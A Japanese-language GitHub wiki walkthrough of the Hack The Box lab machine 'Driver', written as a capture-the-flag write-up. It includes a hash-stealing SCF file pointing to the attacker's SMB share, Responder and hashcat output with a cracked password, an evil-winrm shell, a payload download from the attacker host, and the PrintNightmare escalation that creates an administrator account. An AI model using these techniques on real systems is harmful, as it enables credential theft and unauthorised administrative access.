HTB_Driver - meruneru/tech_memo GitHub Wiki
- EASY
- Windows
SMBの SCF File Attackで使って、サーバのNTLMv2ハッシュを取得し、 辞書解析することで、ID/PWを奪取する。
SMBにアクセスするも、これといったモノは見つからないが、 Port 5985が開いていることをもとに、 #evil-winrm を使ってシェルを取得する。 #evil-winrm は便利で、upload/downloadコマンドが使えて、kaliとサーバ上で簡単にファイを送受信できる。
#WinPEAS で #spoolsv というプリントスプーラーサービスが動作していることがわかり、 #CVE-2021-34527 #PrintNightmare で管理者権限アカウントを作って管理者権限を奪取する。
80(HTTP), 135(RPC), 445(SMB)
#SMB で情報収集してweb経由で侵入か?
nmap -sV -sC -Pn driver.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-23 18:35 EST
Nmap scan report for driver.htb (10.10.11.106)
Host is up (0.18s latency).
Other addresses for driver.htb (not scanned): 10.10.11.106
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h06m56s, deviation: 0s, median: 7h06m56s
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-01-24T06:42:36
|_ start_date: 2022-01-24T06:41:04
$ gobuster dir -u http://driver.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://driver.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/01/23 18:38:21 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 148] [--> http://driver.htb/images/]
/Images (Status: 301) [Size: 148] [--> http://driver.htb/Images/]
/IMAGES (Status: 301) [Size: 148] [--> http://driver.htb/IMAGES/]
ブラウザにアクセスすると、ID/PWを要求させた。 admin/adminで入れた。
プリンタードライバーのファームウェアアップデートページのようだ。
PHP-Reverse-shell を使って、クライアント側でncでリッスンして、ファイルアップロードによるリバースシェルを試みたが刺さらず。
SMB経由で攻撃するようだ。
nmapでSMB脆弱性を調べるも見つからず。
┌──(kali㉿kali)-[~/htb/driver]
└─$ nmap -Pn -script smb-vuln-* driver.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-04 19:29 EST
Nmap scan report for driver.htb (10.10.11.106)
Host is up (0.23s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: No accounts left to try
Nmap done: 1 IP address (1 host up) scanned in 31.72 seconds"SMB exploit upload"で検索すると、SMB Share – SCF File Attacksというページがみつかった。
responderはSMB Auth Serverとして動作させることができる?みたいだ。
$ responder --lm -v -I tun0
responderを動かしておいて、Box上のサイトからhash.scfをDriverとしてアップロードする。
┌──(kali㉿kali)-[~/htb/driver]
└─$ cat hash.scf
[Shell]
Command=2
IconFile=\\10.10.14.2\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
hash.scfをアップロードすることで、Box側で自動実行され、responderにBoxのCredentialが送信される。
[SMB] NTLMv2 Client : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash : tony::DRIVER:04593f70656544ac:51A23C5FB34C76251F63459CA90F2B4B:01010000000000004AE67D317E1BD801062E514EB634E9A200000000020000000000000000000000
#NTLMv2 はMicrosoftのServer-Client間で使われているCharange-response認証方式とのこと。( 参照)
hashcatでSMBハッシュを解析すると、 "tony"というIDと"liltony"というパスワードが得られた。
┌──(kali㉿kali)-[~/htb/driver]
└─$ sudo hashcat -m 5600 -a 0 NTLMv2-hash.txt /usr/share/wordlists/rockyou.txt -O
TONY::DRIVER:04593f70656544ac:51a23c5fb34c76251f63459ca90f2b4b:01010000000000004ae67d317e1bd801062e514eb634e9a
200000000020000000000000000000000:liltony
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: TONY::DRIVER:04593f70656544ac:51a23c5fb34c76251f634...000000
Time.Started.....: Sun Feb 6 06:07:37 2022 (1 sec)
Time.Estimated...: Sun Feb 6 06:07:38 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 286.3 kH/s (1.64ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 32769/14344385 (0.23%)
Rejected.........: 1/32769 (0.00%)
Restore.Point....: 30721/14344385 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: zombies -> dyesebel
ID/PWとして、tony/liltonyを使ってアクセスすると見事見えた。
┌──(kali㉿kali)-[~/htb/driver]
└─$ smbclient -U tony -L driver.htb 1 ⨯
Enter WORKGROUP\tony's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
┌──(kali㉿kali)-[~/htb/driver]
└─$ sudo smbmap -u tony -p liltony -H driver.htb 1 ⨯
[+] IP: driver.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
これ以上はみつからず・・・
ここをみると、Port 5985が空いていると攻撃できるみたい。
┌──(kali㉿kali)-[~/htb/driver]
└─$ nmap -p 5985 driver.htb 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-06 07:04 EST
Nmap scan report for driver.htb (10.10.11.106)
Host is up (0.24s latency).
PORT STATE SERVICE
5985/tcp open wsmanevil-winrmを使ってみる。 WS-Management Protocolで実装されていてるWinRM (Windows Remote Management)を悪用してShellを取ることができた。
┌──(kali㉿kali)-[~/htb/driver/evil-winrm]
└─$ evil-winrm -i driver.htb -p liltony -u tony 1 ⨯
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> これで、ユーザーのFLAGをゲットできた。
権限昇格するための kali上にWinPEASをダウンロードしてきて、HTTPサーバを立てる。
$ ls
winPEASx64.exe
$ python3 -m http.server 8080wgetの代わりに、 Invoke-WebRequestを使った。
#Evil-WinRM でログインしているので、downloadコマンドでkaliにログファイルをダウンロードできる。
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-WebRequest -Uri "http://10.10.14.2:8080/winPEASx64.exe" -OutFile "aaa.exe"
*Evil-WinRM* PS C:\Users\tony\Documents> ./aaa.exe log=log.txt
*Evil-WinRM* PS C:\Users\tony\Documents> download log.txt
このBoxは #spoolsv が動いていることがわかった。 #spoolsv とは。プリンターで印刷するデータを一時的に保存するサービスとのこと。
CVE-2021-34527 PrintNightmareという脆弱性を使うことでエスカレーションできる。
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 80 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 135 0.0.0.0 er 0 Listening 708 svchost TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 5985 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 47001 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 49408 0.0.0.0 0 Listening 452 wininit
TCP 0.0.0.0 49409 0.0.0.0 W 0 y Listening 832 0 svchost TCP 0.0.0.0 49410 0.0.0.0 0 Listening 1220 spoolsv
TCP 0.0.0.0 49411 0.0.0.0 0 Listening 956 svchost
TCP 0.0.0.0 49412 0.0.0.0 0 Listening 568 services
TCP 0.0.0.0 49413 0.0.0.0 s 0 Listening 576 lsass
TCP 10.10.11.106 139 0.0.0.0 0 Listening 4 System
TCP 10.10.11.106 5985 10.10.14.2 57286 Time Wait 0 Idle
TCP 10.10.11.106 5985 10.10.14.2 57290 Time Wait 0 Idle
TCP 10.10.11.106 5985 10.10.14.2 57292 Established 4 System
Enumerating IPv6 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP [::] 80 [::] 0 Listening 4 System
TCP [::] 135 [::] 0 Listening 708 svchost
TCP [::] 445 [::] 0 Listening 4 System
TCP [::] 5985 [::] 0 Listening 4 System
TCP [::] 47001 [::] 0 Listening 4 System
TCP [::] 49408 [::] 0 Listening 452 wininit
TCP [::] 49409 [::] 0 Listening 832 svchost
TCP [::] 49410 [::] 0 Listening 1220 spoolsv
TCP [::] 49411 [::] 0 Listening 956 svchost
TCP [::] 49412 [::] 0 Listening 568 services
TCP [::] 49413 [::] 0 Listening 576 lsass
kaliにCVE-2021-1675 のPSスクリプトをダウンロードしてきて、 box側にアップロードする。
lqq(kali? kali)-[~/htb/driver/evil-winrm]
mq$ git clone https://github.com/calebstewart/CVE-2021-1675 129 ?
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (40/40), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 40 (delta 9), reused 37 (delta 6), pack-reused 0
Receiving objects: 100% (40/40), 131.12 KiB | 2.38 MiB/s, done.
Resolving deltas: 100% (9/9), done.
lqq(kali? kali)-[~/htb/driver/evil-winrm]
mq$ mv CVE-2021-1675 invoke-nightmare
*Evil-WinRM* PS C:\Users\tony\Documents> upload /home/kali/htb/driver/evil-winrm/invoke-nightmare/CVE-2021-1675.ps1実行ポリシーにより、スクリプトのインポートを拒否されたが、 URL先の説明をもとに、実行ポリシーを変更することで、実行できた。
あとは、スクリプトを実行して、管理者権限のユーザーを新規作成する。
*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module ./CVE-2021-1675.ps1
File C:\Users\tony\Documents\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ Import-Module ./CVE-2021-1675.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [Import-Module], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand
*Evil-WinRM* PS C:\Users\tony\Documents> Get-ExecutionPolicy
Restricted
*Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy -Scope CurrentUser Unrestricted
*Evil-WinRM* PS C:\Users\tony\Documents> Get-ExecutionPolicy
Unrestricted
*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module ./CVE-2021-1675.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser "user1" -NewPassword "pass1"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user user1 as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
新規作成したusr1/pass1にログインすることで、権限昇格できた。
lqq(kali? kali)-[~/htb/driver/evil-winrm]
mq$ evil-winrm -i driver.htb -u user1 -p pass1